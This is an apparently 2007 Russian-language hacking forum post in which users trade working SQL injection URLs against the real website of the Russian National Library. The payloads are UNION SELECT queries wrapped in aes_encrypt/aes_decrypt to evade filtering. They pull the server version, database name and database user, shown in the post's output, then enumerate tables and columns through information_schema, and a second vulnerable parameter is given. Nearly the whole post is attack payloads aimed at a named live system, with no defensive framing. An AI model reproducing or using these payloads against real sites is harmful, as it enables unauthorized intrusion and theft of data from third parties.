Показать сообщение отдельно

  #7  
Старый 31.10.2007, 17:33
Серенький
Banned
Регистрация: 13.04.2007
Сообщений: 123
Провел на форуме:
921520

Репутация: 572
По умолчанию

Цитата:
KEHT33

Российская национальная библиотека
Код HTML:
http://www.nlr.ru/news/vid_news.php?id=-641+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 ,32,33,34,35/*

fRg

Раскручивай дальше:
Код:
http://www.nlr.ru/news/vid_news.php?id=-641+UNION+SELECT+1,2,concat(aes_decrypt(aes_encryp t(version(),0x71),0x71),0x3a,aes_decrypt(aes_encry pt(database(),0x71),0x71),0x3a,aes_decrypt(aes_enc rypt(user(),0x71),0x71)),4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35/*
5.0.18-Debian_9-log:nlr_news:news_admin@localhost

28 таблиц:
Код:
http://www.nlr.ru/news/vid_news.php?id=-641+UNION+SELECT+1,2,aes_decrypt(aes_encrypt(table _name,0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16 ,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,3 3,34,35+from+information_schema.tables+limit+27,1/*
и т.д.
Есть вывод и без лимита:
Цитата:
http://www.nlr.ru/news/index.php?where=vybor&date_vyb1=20070401&date_vyb2 =-20070630+union+select+1,2,aes_decrypt(aes_encrypt( concat_ws(0x3a,table_schema,table_name,column_name ),0x55),0x55),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1, 2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+information_schem a.columns/*
 
Ответить с цитированием